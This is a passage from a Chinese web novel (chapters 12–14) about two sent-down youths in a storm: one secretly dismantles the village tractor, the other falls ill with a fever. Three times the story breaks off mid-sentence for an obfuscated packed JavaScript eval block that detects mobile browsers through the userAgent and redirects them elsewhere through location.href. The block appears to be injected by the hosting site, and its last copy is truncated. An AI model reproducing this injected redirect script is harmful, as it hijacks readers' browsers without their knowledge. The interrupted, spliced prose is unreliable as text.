齐国伟也来气了,讨好了覃晓燕这么久,都没见对方有一点儿软化,对他的态度甚至还比不上李国栋。 覃晓燕见着李国栋还能打声招呼,见着他就恨不得躲得远远的。 到底是自己喜欢的女孩子,齐国伟忍下了想要发脾气的心情,拿着草帽到一旁去生闷气。 看齐国伟走远了,覃晓燕反而有兴致聊天了。 “昨晚我听知青所的玉姐说,表现优秀的知青,年底的时候可以去农场参观学习,不知道农场是什么样子的?”覃晓燕说。 于芳不以为然:“还能是什么样子?无非就跟村里差不多,都是种田的,能有多大差别。” 覃晓燕说:“不一样,玉姐去年去过农场,农场养了好多黑山羊,我想去看看黑山羊长什么样子。” 于芳:“那你别想了,以我们现在的劳作强度,一天下来也不过是六七个工分,远远达不到优秀知青的地步。” 为了让知青在农村能够积极参与劳动,每个村里都会有优秀知青的名额,特别优秀的,可以被推荐上工农兵大学。 不过这两年工农兵大学的名额变少了,扶柳村已经有一年没有推荐名额了,今年也同样没有。 村里便改了优秀知青的评选规则,以工分作为主要的评选方式,并且多增加两个名额,获得优秀知青的三人,允许到农场去参观,并且每人发一斤猪肉。 覃晓燕叹气:“其实去不去农场倒是无所谓,就是想要那一斤猪肉,一斤猪肉啊,够我吃好几顿了。” 于芳笑她:“那你就想想吧,我们是不可能比得过那些老知青的。” “好吧,我就想想。” 本是寻常的一次闲聊,梁月泽却注意到许修竹的不寻常,具体表现为,他手里的水壶,端了好半天都没喝一口,也不盖上盖子,整个人像是在发呆。 梁月泽想了一下覃晓燕和于芳刚才在说什么,脑中闪过一个猜想。 莫非许修竹这些日子来这么努力想要挣工分,是想当优秀知青,然后去农场参观? 夜晚睡觉时,即便是在野外,也能感觉到空气中的闷热,和昨晚相比,大不相同。 这种闷热压得人快喘不过气来,有种风雨欲来的平静感。 之前十几天,扶柳村也不是没有下过雨,但一般都是急雨,下一会儿就停了,牛棚里面并没有被淋到,梁月泽和许修竹没有受到影响。 但这次不太一样,这次的雨可能要下好几天了。 为防突然下雨,许修竹把捡来的木柴搬到牛棚里来,瓦锅也搬了进来,两人则尽量靠中间睡。 感觉着对方近在咫尺的呼吸,梁月泽有些不自在,但身体的疲劳,让他很快就睡着了。 再次醒来,梁月泽是被扑面而来的雨点给拍打醒的,豆大的雨点落到脸上,拍得他生疼。 梁月泽捂着脸坐了起来,旁边的许修竹也被波及到,两人齐齐往没被雨淋到的地方挪去。 此时大地一片黑暗,梁月泽和许修竹连雨点的形状都看不清,只能根据风向和雨声的大小,判断这场雨有多大。 此时正刮着狂风,本该直直落下的雨点,被吹斜了淋到他们睡的稻草垫子上,要不是棚顶压着几块木板,估计连棚顶的稻草也要吹飞了。 随着一道惊雷,一道闪电划过天际,将这天地照亮了一瞬间,就是这一秒钟,让梁月泽看清了眼前的景象。 倾盆而下的暴雨,在狂风中摇曳的树枝,四周的田地成了一片汪洋,天地之间恍如末日来临,而他身边只有许修竹一人。 心中刚闪过这个念头,梁月泽的怀里便多了一具温热的身体。 许修竹紧紧抱着他的腰,将头埋进梁月泽的怀里,因恐惧而变得急促的呼吸喷到他的胸膛,梁月泽一时愣住了。 他从没跟任何人这么亲近过,他自小就会打理自己,小小年纪就会自己洗澡穿衣服,睡觉更是不用人陪。 和父母之间的身体接触都极少,就更别说陌生人了。 来到这个年代后,在二婶家和两个堂弟同睡,他都是刻意用被子隔开了。 回过神后,梁月泽的第一反应是把人推开,手掌刚碰到许修竹的肩膀,就感觉到他在颤抖。 梁月泽的手搭在他肩膀上久久没有动作,两人就维持着这样的姿势,耳边是雨点拍打在水面的声音,天地之间他只能感受到许修竹的存在。 忽然又是一道闪电惊雷,许修竹呜咽了一声,抱着梁月泽的腰抱得更紧了。 梁月泽也不知他是出于什么心态,可能是环境的原因,给了他一种共患难的感觉,他没有把许修竹推开,任由他这么抱着自己。 直到天逐渐变亮,直到村长披着蓑衣,戴着斗笠蹒跚走来。 “梁知青!许知青!你们在吗?”村长浑厚的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266353|166589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音穿过层层雨幕,传到两人耳中。 安静得犹如雕像的两个人,被这一道声音给炸醒了,梁月泽把人推出了怀中,许修竹也顺势退了出来。 梁月泽站了起来这时候他才发现,自己的左腿麻了,但他已经顾不得了,忍着麻意向村长招手。 “村长!我们在!” 村长跨进了牛棚,不用喊声音也很清晰。 “看到你们没事儿就好,这么大的暴雨,就生怕出点什么事儿。”村长松了一口气。 两个新知青是他安排到这里住的,出了什么事儿他可负责不起。 也是昨天太忙了,一时没想起来,还是他家里漏雨了,一家子起来用锅碗瓢盆等雨,二女儿林月香提起来,他才想起住在牛棚的两人。 作为种了几十年庄稼的农村人,对这种暴雨天气其实早有预感,空气开始变得闷热,就代表要下雨了。 但他和书记昨天去县里了,他们需要对拖拉机的损坏作出检讨,也需要重新写申请,让省城重新派人下来维修。 村长和书记在县里忙活了一天,走了很多流程,下午三四点才回到村里。 接着两人又要指挥村里人给秧田疏通排水沟渠,又要找稻草给秧田铺上,免得狂风暴雨毁了秧田。 这一通忙活下来,哪里还能想起住在牛棚里的两个知青。 梁月泽笑道:“我们能有什么事儿,这牛棚牢固着呢。” 村长打量了他们一番,除了身上有点被淋湿了,没受什么伤,就是许知青一直低着头,也不知是不是被吓着了。 许修竹确实是被吓着了,一是被闪电惊雷给吓到了,二则是被自己惊慌之下的羞耻行为给吓到了,此时压根不敢抬头,生怕看到梁月泽的脸。 村长点了点头:“你们没事就行,预计这雨今天是不会停了,你们也不能继续住在这里,被淋湿了容易着凉感冒。” 梁月泽眼中闪过一抹了然,嘴上却迟疑道:“那、我们去哪里住啊?” “这样的情况,也只能让你们俩到我家来住一两天了,等雨停了你们再搬回来。”村长叹气,“现在知青所确实是不够住,等过了农忙季,我让村里人给你们重新起一间屋子,你们就再将就一下。” 梁月泽皱了皱眉:“村长,这不好吧,我和许修竹都是没结婚的小年轻,听说您家里还有女儿,我们住进你家不合适。” 这个问题村长确实想过,之前没想过让两人住进他家里,也是怕这小白脸勾搭了他女儿。 但现在不是没办法吗,下着暴雨,这牛棚肯定是不能住了,不住他家还能住哪里? 知青所吗?那不可能,知青所的男知青不会接受他俩的。 且不说俩人的身份,村长自己也能猜到,新知青刚来那天,知青所为什么会闹起来,不过是床位太小罢了。 当时都已经妥协了,此时再把人安排进去,只怕会闹出更多矛盾。 看村长一脸苦恼,梁月泽提议道:“村长,不如让我俩到公社去住一两天吧?前天去领猪肉,我看公社有几张桌子,拼凑一下暂时也能睡人。” 唯有住进公社,才能接近拖拉机,只有真正接触到拖拉机,他才能知道自己有没有能力把拖拉机修好。 到时候拿着维修方案向村长和书记争取,才有可能得到两人的准许。 而这场暴雨就是梁月泽在等的机会。 村长犹豫了一会儿,便同意了梁月泽的提议,带着两人把东西搬到公社去。 12. 享受 公社里除了会议室,还有一个杂物间,平时放点农具之类的公共物品,之前会议室的桌椅板凳就是被搬到了这间房。 这些桌子堆起来也有两米宽了,将就一下也能睡两个人,就是比稻草垫硬一些。 “你们先在这里住几天,等天晴了再搬回牛棚去。”村长顿了一下,“也不用等太久,最多再过一个月,等田里的秧苗种下了,我让大家给你们打一间泥砖房。” 可能是这次突然的暴风雨,没有及时做好防范,让梁月泽和许修竹受了灾,村长有点愧疚,很爽快就答应了给他们建泥房的事儿。 反正泥砖是从田地里挖来的泥打的,房梁是从山里砍的,稻草村里更是多得很。 梁月泽拧了拧滴水的衣袖,闻言抬头笑道:“那就先多谢村长了。” 村长摆摆手:“应该的,雨停之前不用干活,你们就在这里住着,旁边还有个屋子,里面有灶,可以做饭。” 之前一起吃大锅饭的时候,特意在公社建的土灶,后来大锅饭取消了,这个灶也没砸掉,偶尔村里有事儿还能用得上。 前两天杀猪用的开水,就是在公社里烧的。 村长叮嘱了两人一番,穿着蓑衣又出去了,他还得去看看秧田怎么样了。 屋子里只剩下梁月泽和许修竹,除了屋外的雨滴声,只剩下他们的呼吸声。 梁月泽也不知道为什么,明明已经习惯了和许修竹单独相处,这时候怎么会有种不自在的感觉呢。 想不通,他索性打开放在椅子上的箱子,箱子里面没被雨淋到,他的衣服还是干的,打算拿出来换上。 “刚才我失礼了,不好意思。”许修竹突然开口。 梁月泽拿衣服的手顿住了,随着这一句话,他的思绪又回到了那场风雨中的拥抱。 两具温热的身躯,紧紧拥抱在一起,外面是风吹雨淋,从未和人如今亲近过的他,那时却对许修竹的接近没有一点儿反感。 梁月泽掩饰地咳了一声:“没事儿,你是不是怕打雷闪电啊?” 许修竹低着头,也在拧着他湿透的衣服,此时显然已经平静下来,语气平淡道:“有一点。” 以许修竹当时的反应,不是有一点吧。梁月泽心想。 但他没打算深究,梁月泽急需摆脱现在尴尬的气氛,说道:“我要换衣服了。” 许修竹不知道在想什么,下意识“哦”了一声,就再也没有动作了。 梁月泽无奈地叹了口气:“你能先出去一下吗?” 许修竹这才反应过来对方说了什么,湿着衣服走了出去,结果一打开门,扑面而来就是一股凉风,他猛地打了一个哆嗦。 梁月泽在屋里换衣服,走廊外仍然下着大雨,雨声很大,又有种静谧的感觉。 明明全身湿透,冷到打哆嗦,许修竹却莫名有种宁静的感觉,在这广阔的天地间,他很久没有这么……享受过了。 没错,就是享受。 没有扰人的骂声,不用时时刻刻被人盯着打扫卫生洗衣做饭,也不用被工分催促着去干农活,更不用担心牛棚外时不时经过的村民。 雨幕将一切都隔绝在外,这里仿佛是他一个人的空间,屋里换衣服的那个,可以忽略不计。 他享受地看着雨水落下,听着雨滴拍打地面的声音,水汽让周围变得朦胧起来,仿佛一副山村水墨画。 梁月泽很快就换好了衣服,从里面打开门,问道:“你衣服也湿了,打算怎么办?” 许修竹怔了一下,眨了下眼睛,才慢吞吞地说:“我一会儿去隔壁厨房生火,一边煮早饭,一边烘烤。” 他只有一套换洗衣服,昨晚洗澡时已经洗了,还没晾干。 梁月泽点了点头,接着发出合理疑问:“这样不会感冒吗?” 不及时更换湿掉的衣服,很容易造成感冒的。 但许修竹的情况又不太一样,他现在没有可以更换的衣服,梁月泽也没有把衣服借给他的打算。 且不说他只有一套干净的衣服,就算有多余的,梁月泽也不觉得两人的关系能好到可以给对方穿自己衣服的程度。 许修竹沉默片刻,说道:“没事,及时烘干就行。” 既然对方都这样说了,梁月泽没再多说什么,转身去了隔壁的会议室,时间紧迫,他需要抓紧时间去了解拖拉机的各种零件。 会议室的大门紧闭着,还上了一把锁,防止有好奇心重的村民摸进去,少了一两个零件就不好了。 这可难不倒梁月泽,他最了解的就是各种机械的原理,一把简单的古董锁头,随便找根针就可以打开了。 不过他可没有针,只能向身旁的许修竹借:“借我一根针。” 许修竹没有多问,直接从箱子里找了一根针出来,直到看见梁月泽要撬锁,他才觉得有些不对劲儿。 “你要进会议室?”许修竹问。 梁月泽点头:“嗯。”手上撬锁的动作不停。 许修竹皱眉:“村长叮嘱过,不要随便乱逛,会议室更是不能随便进入。” 梁月泽解释:“我不是随便进入,我要试试能不能把这辆拖拉机修好。” “那也不能撬锁啊。” “不撬锁我怎么进去?村长和书记不会轻易让我去修的,只有了解了拖拉机的情况,才能确认我能不能把拖拉机修好,才能出方案说服村长和书记。” 许修竹一时语塞,他知道梁月泽说得有道理,但也真的怕村长和书记知道后,会追责于他们。 他还想要评选优秀知青呢。 像是看出了他的顾虑,梁月泽安慰他说:“不用担心,万一被人发现了,我一力承担,绝不会牵连到你。” 许修竹犹豫了一下,便下定了决心:“你等一下,我先把早饭给你煮了,然后给你望风。” 不对等的工分交易,是他占了便宜,终究是要还回去的。 下雨天虽然很少有人出来,但难免村长和书记不会突然到访,万一被他们撞见了,梁月泽怕是再也没有接触这间会议室的可能了。 能有人望风,梁月泽自然不会不同意,等着许修竹一边煮粥,一边烘干衣服。 吃完早饭后,许修竹穿着烘得半干的衣服,拿了个小板凳坐在廊下替梁月泽望风,梁月泽则偷偷进入了会议室。 会议室里有些昏暗,但不影响梁月泽的动作,他把拖拉机的部件一样样拆开,全部摆在地上。 其实梁月泽并不会修拖拉机,他一个在城市长大的大学生,学的又不是农业机械,完全没有接触过拖拉机。 但机械制造的基础理论是不会变的,他是不会修拖拉机,但他可以根据拖拉机的零件,重新设计改造拖拉机。 不管用什么方法,能让拖拉机重新启动,才是他最终的目的。 作为国内顶尖大学的优秀毕业生,梁月泽的动手能力还是很强的,他把零件拆下来,一样样检查零件的破损程度,确认无误后便放到一边。 时间不知过去了多久,门外一直没传来许修竹的声音,显然村长和书记并没有来公社。 梁月泽安心地投入到画图中,太久没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266354|166589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接触到机械,突然接触到,他心里竟有种满足的感觉。 以前读书的时候,对于机械制造,他只是按部就班地根据父母的建议,选了这一个专业,既没有喜欢,也没有反感。 干了十几天农活后,梁月泽发现,突然接触到机械,竟产生了一丝欢喜。 到底学了好几年,应该还是喜欢的吧。 梁月泽不确定,但他此时确实很享受这一刻,心神完全沉浸在机械的复杂中。 等许修竹来敲门时,梁月泽的本子上,已经画满了各种零件的结构图。 “傍晚了,我要做饭,不能给你望风了,你先出来休息一下吧。”许修竹脸色有些苍白,但他背对着门外,梁月泽并没有看清。 外面的雨下了一天,从一开始的暴雨,到现在的中雨,一直没停过。 梁月泽研究了一天的零件,脑子有点发木,下意识点了点头。 等他反应过来后,会议室大门敞开,门外望风的许修竹已经消失不见了。 梁月泽看了看手里的零件,轻声一笑,暂停一下出去换换脑子也好。 他们只在早上吃了一顿,中午没有吃过饭,乡下都是这样的,有活的时候吃三顿,没活干就吃两顿。 梁月泽工作起来什么都不顾,连肚子饿了也想不起来,此时坐在廊下闻着隔壁屋子传来的饭香,才发现自己有多饿。 许修竹很快就煮好饭了,梁月泽吃过晚饭后,又回了会议室继续研究。 看样子村长和书记今天是不会过来了,他得抓紧时间,尽快摸清楚情况,设计出一个完美的维修方案。 谁也不知道,这场雨会下多久,也许明天就停了,他的时间很紧迫。 若是不能在村长和书记发现之前,拿出一个完美的方案,然后说服村长书记,那他所做的一切努力,都将会变成白费。 一心工作的梁月泽,完全没发现许修竹的异样,更没注意到,他吃了晚饭后连饭盒都没洗,就进了杂物间睡觉去了。 入夜之后屋内变得很黑,梁月泽不得已,拿出了他的手电筒,从来到这里后,他就没用过几回,这次终于能派上用场了。 挑灯夜战了一晚上的梁月泽,终于在天明之后,写出了一份基础的拖拉机制造手稿。 他揉了揉酸胀的眼睛,伸了个懒腰松松筋骨,正打算出去找许修竹时,门外传来了村长和书记说话的声音。 “会议室的锁怎么没锁?是不是你忘记锁了?”书记说。 村长一脸疑问:“不可能啊,我昨天把梁知青和许知青送来的时候,还特意看了一眼,当时锁还是好好的。” “不会是有人溜进去了吧?” “不会吧,昨天还有两个知青在呢,谁有这个胆子溜进去?” “进去看看就知道了!” 当然是你安排的知青在监守自盗啊! 突然被撞上,梁月泽一时也不知该如何反应,是躲还是直接承认呢? 他想躲,但此时已经被堵在了屋里,想出去也出不去了。 许修竹今天怎么起得这么晚,他平时不是天没亮就起来了吗? 要是有许修竹望风,他何至于面临现在尴尬的局面。 毕竟他想象的出场是,拿着完整的维修方案找上村长和书记,有理有据地说服村长和书记,让他们同意给他一个机会。 而不是让村长和书记撞见,会议室里满地的拖拉机残骸。 正思索着,会议室的大门被推开了。 梁月泽愣愣站在中间,手里还拿着他的手电筒。 13.发烧 “啊啊啊~你在做什么?!!!” 隔壁传来一声惊恐的尖叫,许修竹迷迷糊糊中被惊醒,心脏像是要跳出来一样,他粗喘了好几口气。 “梁知青,你在做什么?我是不是叮嘱过,不能随便进会议室!”这是村长暴怒的声音。 隔壁的斥责还在继续,许修竹想要起身去看看情况,却发现自己浑身酸软,完全使不上劲儿。 他知道自己现在是什么情况,昨天被淋湿了一身,衣服没烘干又在屋外吹了一天风,感冒发烧是再正常不过的事情了。 许修竹本来想吃点药预防一下的,但奈何巧妇难为无米之炊,这里连块驱寒的生姜都没有,只能靠自己熬过去。 他挣扎着起身,疲惫地走到门外,书记正痛心疾首地抱着拖拉机的把手。 “这拖拉机这么贵重的东西,哪能随便动手,你还把它给拆了,你会装吗?” 村长也黑着脸在训斥:“我倒不知,梁知青还有这般能耐,不仅能把锁头撬开,连拖拉机都能拆了,这世上还有什么是你干不出来的?!!” 梁月泽低着头站在一堆零件之中,一言不发。 方才害怕被撞上的紧张,此刻真被撞上,反而松了一口气,省得他之后拿着方案去找村长和书记,他们还不一定会搭理他。 至少看着这堆零件的份上,他们会耐下心来听他讲一讲。 但不是现在,要等村长和书记先出一口气,再慢慢冷静下来,才能听得进他的维修计划。 “你以为你是丁维修员啊?把拖拉机拆了还能装回去!” 之前丁维修员把拖拉机拆了,村长看着都害怕对方装不回去,提心吊胆了两天,亲眼看着拖拉机被装回去,虽然没有修好,好歹装回了原样。 书记捶胸顿足道:“梁知青!你胆子也太大了,拖拉机是县里的财物,你随意损坏,是要受处罚的!” “村长,书记,你们冷静一下。”许修竹倚在门框边,哑着声音劝道,他以为自己很大声,实际上只能发出一点气音。 村长和书记完全没听到,他们还沉浸在拖拉机被拆的痛心中,一心只想着如何挽救。 还是梁月泽捕捉到了许修竹的声音,蓦地抬起了头,正好看见他虚弱地靠着门框。 梁月泽快步走到门口,把人给扶住:“你怎么了?” “你的脸怎么这么红?是发烧了吗?”梁月泽把手背贴到许修竹的额头上。 炙热的身体突然接触到一股凉意,许修竹有种舒服的感觉,想要那只手停留得更久,可惜手的主人很快就移开了。 “这么烫,你真发烧了!”梁月泽喊道。 村长和书记这才发现倚在门口的许修竹,书记放下手中的零件,走向许修竹,径直往他额头探了探。 “还真发烧了!”书记惊道,“得赶紧把人送到卫生所去。” 下了一天一夜的雨已经停了,外面鸟鸣清脆,空气清新,许修竹却感受不到半点,他脑袋还是迷糊的。 突然出现一个病人,村长和书记也顾不得骂梁月泽了,发烧是真的会把人的脑子给烧坏,这可耽误不得。 “老林,你去我家骑那辆自行车过来,先把人送卫生所去,拖拉机的事儿,等回来再说。”书记急道。 村长也不多废话,直接出门往书记家奔去。 这些知青果然麻烦,不仅胆子大,连照顾自己都照顾不好,净会给村里惹事儿。 村长很快就把自行车骑来了,梁月泽和书记把人扶上车后座,书记推了梁月泽一把:“你坐在后面抱着他,别让他摔了。” 梁月泽下意识坐到了许修竹后面,双手插过他的腰间,把人抱在怀里。 许修竹整个人还是迷糊状态,只觉得被折腾得难受,自觉地找了个舒服的姿势窝在梁月泽怀里。 脖子处被许修竹的头发扎得发痒,怀里抱着一个烫呼呼的身体,梁月泽很不自在,就像前天在牛棚里一样,整个人都僵住了。 下了一天一夜的雨,去往镇上的路,变得泥泞起来,骑着自行车容易打滑,饶是村长技术再好,也不敢骑得太快。 本来二十多分钟的车程,花了四十多分钟才到,村长的鞋底都沾满了泥巴。 梁月泽同样很煎熬,许修竹发烧到近乎失去知觉,身子都是瘫软的,全靠梁月泽扶着,才不至于摔下车去。 看着这样的许修竹,梁月泽心里升起了一丝愧疚,他自然能猜得到,应该是昨天为了替他望风,衣服没烘干就吹了一天风而导致的。 他们也没带什么厚被子,杂物间里连稻草都没有,晚上没有保暖的被子衣物,发高烧是自然而然的事情。 村长显然很熟悉镇上的卫生所,很快就找到了医生给许修竹看病,体温针一探,39.6度,妥妥的高烧了。 这个年代一般是重症才会打点滴,像是感冒发烧之类的病,一般是打屁股针。 梁月泽眼睁睁看着护士把许修竹的裤子一扒拉,露出半个浑圆白皙的屁股,不知道为什么,他下意识避开了视线。 他也想不通,大家都是男的,有什么不能看呢。 护士手脚麻利地打完了退烧针,冲着梁月泽喊道:“家属过来帮忙按住棉签。” 许修竹侧躺在病床上,被一针屁股针扎疼,睁开了眼睛,但到底不敌身体的疲惫,只见到一抹朦胧的虚影,又闭上了眼睛。 护士见梁月泽没有动作,又催促了一遍,他这才回过神来,接替护士按住棉签。 村长去缴费了,这里只有梁月泽一人,他不上就没人上了。 只是眼前的半边屁股太过晃眼,让梁月泽不敢看,只好把视线移到许修竹的脸上。 被烧得通红的脸颊,趴在白净的床单上,莫名让人有种怜惜感。 梁月泽想了一下,大概是因为这一切是他造成的,他天然就心有愧疚吧。 护士又拿了几小包药片放到病床边,叮嘱道:“先让他在这里躺一两个小时,等退烧了再回去,到时候吃了饭再给他吃药。” 梁月泽郑重地点了点头,护士看他那紧张的模样,噗嗤一声笑了出来:“也不用这么紧张,按这么久应该不会出血了,你可以松手了。” 得到护士的准话,梁月泽忙不迭地松开棉签,然后唰地把许修竹的裤子拉上去,生怕多看一眼他的屁股就冒犯了。 梁月泽把许修竹放平躺在病床上,可能是那针退烧针起了作用,对方的眉眼舒展了一些。 这个季节卫生所里不怎么有病人,几人间的病房里只有许修竹一人,梁月泽找了把椅子坐下,平复自己的心情。 他也算是熬了一天一夜了,之前心神全扑在拖拉机上,后面又因为许修竹的事儿一直提着心。 现在放下心来,疲惫一下子涌了上来。 可惜他还不能休息,村长和书记在公社的训斥还没结束,就被许修竹的出现给打断了。 村长心中的气应该也消了大半,此时正是他向村长争取的好机 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村长狐疑地看了看梁月泽,又看了看他手中的小本子,好像对方在说什么天方夜谭似的。 “你还会修拖拉机?”村长一脸的不信。 梁月泽把本子往前递了递,自信地说:“村长不妨看一看,我若真的一点儿都不懂,又怎么能把拖拉机给拆下来。” 见村长还是没接,梁月泽继续说:“反正拖拉机都已经被拆了,也不会比现在更差,村长不妨就看看,也给我一个机会。” 村长一想也是,没点能耐的人,哪里敢把拖拉机给拆了,兴许眼前这位梁知青,还真会点维修的本事呢。 他半信半疑地接过小本子,从第一页开始翻,小小的零件在这个本子里被画得工整清晰,还有各个零件的组建。 村长每看一页,梁月泽就给他解释,每个零件的功能,组合起来能起到什么作用等等。 一个本子看下来,虽然村长自己还不是太懂,但不影响他明白一件事,那就是梁知青是真有点本事儿。 最后梁月泽神情郑重地说:“经过一天一夜的研究,我已经知道这拖拉机要怎么维修了,希望村长能给我一个机会,让我将功补过。” 村长没说话,只翻着他的小本子,翻来覆去地看。 省城来的维修员都修不好,这个小知青真能修好吗?村长不太自信地想。 但是要等新的维修员下来,也不知要等到何年马月,去年农场的申请还没批下来。 拖拉机一日修不好,他们村就别想再用拖拉机,难道村里人年年都要这么辛苦吗? 要不然,就给这个小年轻一个机会,也给村里一个机会? 半晌,村长终于开口:“这不是我一个人能决定的,我回去跟老杨商量一下,之后再给你答复。” 梁月泽笑了,村长没有马上拒绝,就代表着他心动了。 “那村长和书记慢慢讨论,这本子就先放在您这里。” 说完梁月泽没再缠着村长给明确的答复,起身到病床边上,用手摸了摸许修竹的额头。 不知是不是许修竹降温了,梁月泽用手没摸出差别来,他又摸了摸自己的额头,手上温度比额头高。 他想了一下,俯下身去用自己的额头碰了一下他的额头,还是有些烫。 得出结论后,梁月泽正要起身,却猝不及防对上许修竹突然睁开的眼睛。 两人就这么四目相对着。 14.生火 梁月泽猛地直起身来,掩饰性地咳了两声:“我试试你还发不发烧。” 许修竹眨了下眼睛,显然还没反应过来现在是什么状况。 梁月泽避开他的视线,说道:“还有点发烧,护士给你打过退烧针了,等会儿退烧了就可以拿药回去休养。” 村长也站了起来:“许知青醒了?现在感觉怎么样了?” 听见村长的声音,许修竹的神智回归,挣扎着想要坐起来,却发现自己使不上劲儿,浑身酸软得厉害。 “村长~”许修竹这才发现自己的嗓音哑得厉害。 村长赶紧上前把人按住:“躺着好好休息,别起来了。” 许修竹转了下眼珠,发现他已经不在公社里了,看环境好像是在卫生所。 他病得有这么严重吗?连意识都模糊了。 见人醒了,村长就开始数落起来:“你们这些小年轻,一点儿也不懂得照顾自己,怎么能一直湿着衣服呢,公社里又不是没有柴火,生个火烘干是什么很难的事儿吗?” “早知道就应该让你们到我家来住,好歹不会惹出这么大的事儿……” 梁月泽有些心虚地低下了头,许修竹这场病,是替他望风而导致的。 也怪他太心急,没有注意到身边人的情况,一心只想着研究拖拉机,任由许修竹在外面吹风。 许修竹一脸乖巧地听着村长数落,完全没有之前不爱理人的态度,就像一个做错了事儿的小辈一样。 等村长说得差不多了,梁月泽才上前打断他:“村长,这次医药费花了多少钱?回去我补给你。” 村长瞪了他一眼:“当然要你来出,两个人同住在公社里,你自己在会议室里拆这拆那的,把许知青一个人留在外面吹风,你不负责谁负责!” 想起在会议室里见着的那一幕,村长就心脏一紧,太刺激了,饶是他经历过的大风大浪不少,仍然心惊胆战。 梁月泽讪讪一笑:“我出,自然应该我出。” 许修竹用沙哑的声音说:“不关他的事儿,这钱我自己出就行。” 这话遭到村长和梁月泽的一致反对,梁月泽坚持要给医药费,并且承诺了会好好照顾许修竹。 村长这才稍稍有点消气。 “书记,新来的知青不是有七个人吗,还有两个怎么没来?”孙铭出于责任心问道。 一天一夜的暴雨过后,歇了一天的村民和知青开始下田干活,现在天气凉快,大家干活都多了几分力气。 一开始把新来的知青们安排到一边去干活,是为了锉挫他们的傲气,等他们认清现实了,再融入老知青中,才不会有那么多矛盾。 本来分完猪肉的第二天就应该把人分到一起干活了,但因为村长和书记去了县里,之后又下了暴雨,直到今天新知青们才离开那块地,和老知青们一起干活。 书记站在田埂上,想起早上在公社看到的那一幕,愁得眉心都皱成了川字。 “许知青发烧了,老林和梁知青送他去卫生所了,他们俩你不用管,带剩下那五个去干活就行。” 孙铭点了点头:“行,那我带他们去干活了。” 村里分为12个生产小队,他们知青自成一队,孙铭是知青队的队长,总要多操心一些。 说完孙铭就带着知青队的人去他们经常干活的田地,覃晓燕走在最后,没忍住来到书记旁边。 “书记,许知青没事吧?这两天梁知青许知青都住哪里啊?” 一起干了这么久的农活,都在一个村里住着,覃晓燕她们早就知道了梁月泽和许修竹两人是住在牛棚里,昨天下了一天一夜的暴雨,那个牛棚肯定不顶用。 见是一个女知青,书记脸色缓和了一些:“就是有点发烧,已经送去镇上卫生所了,你就别担心了,去干活吧。” 话都说到这份上了,覃晓燕也只好跟上知青队去干活。 江丽和于芳特意等了等她,覃晓燕赶上来后,便开口问:“怎么样?书记怎么说?” 覃晓燕说:“没说什么,应该没有什么大碍。” 江丽:“那他们这两天住哪儿?” 覃晓燕:“没问出来,应该是有地方住的。” 于芳叹气:“要不是许知青和梁知青被赶出知青所,估计也不会因为这场雨发烧了。” 覃晓燕看了一眼走在前面的齐国伟和李国栋,声音提高了几度:“是啊,许知青人多好啊,不计前嫌救了某人的命,自己却被赶了出去。” 李国栋听得一阵愧疚,他当时不是和许修竹不熟吗,现在了解了,自然就不抵触他的身份了。 但现在的局面,也不是他说改就能改的,就算他想让许修竹和梁月泽回来住,也得看其他老知青愿不愿意。 如今知青所的床位紧张,少两个人,睡觉的地方都宽裕不少,大家不会那么轻易接纳他们俩的。 李国栋有些后悔,不应该把许修竹和梁月泽的身份说出去的,不然当时就没有借口把人赶出去了。 齐国伟倒是没有半点愧疚,许修竹救的人又不是他,能把人赶出去,他还沾沾自喜来着。 “晓燕啊,你就别担心他们俩了,都是村里的知青,村长和书记肯定会把他们安置好的。”齐国伟放慢脚步凑到覃晓燕旁边。 覃晓燕完全没搭理他,拉着江丽于芳快步往前走。 对于齐国伟这种人,多给他一个眼神,都是她吃亏了。 许修竹在病床上躺了一个多小时,之后护士又来量了一次体温,从高烧降到了低烧,便让人回去了。 卫生所开的药要先吃饭再吃药,镇上没有吃的东西卖,只能先带着人回村里。 打了退烧针之后,许修竹精神好点儿了,但还是使不上劲儿,做不了饭。 所以做饭的事情,只能梁月泽自己上了。 村长去把书记家的自行车还了,走之前叮嘱梁月泽好好照顾许修竹,梁月泽一口应下,然后就舀了一点米进厨房去了。 许修竹躺在桌子拼凑成的床上,等着梁月泽给他煮粥吃,不过他躺得不是很安心,因为对方好像不会生火煮饭。 正想着,一股呛鼻的烟气透过门缝钻了进来,呛得许修竹咳了好几声,他起身想要出门去瞧瞧什么情况。 书记在路上碰上了村长,知道他们回来之后,就往公社里来,想看看现在是什么情况。 结果隔着老远就看到公社冒出了一股股浓烟,像是着火了似的,他赶忙跑了过来。 “这是怎么了?着火了吗?” 浓烟是从公社厨房里冒出来的,书记当即就要冲进去看看是什么情况,恰好这时梁月泽捂着鼻子一边咳嗽一边从浓烟中走了出来。 书记赶紧抓着梁月泽问:“梁知青,里面是着火了吗?” 梁月泽摇了摇头:“咳咳咳……没有……咳……我在生火做饭。” 他也不知道为什么,明明是跟许修竹学的一模一样,怎么许修竹能生得起火,他只能烧出一股股浓烟呢。 书记听到没有着火,心里松了一口气,也不着急找水去救火了。 站在门口被浓烟熏得不行,书记退开了几步,一脸无奈道:“梁知青,你生个火而已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 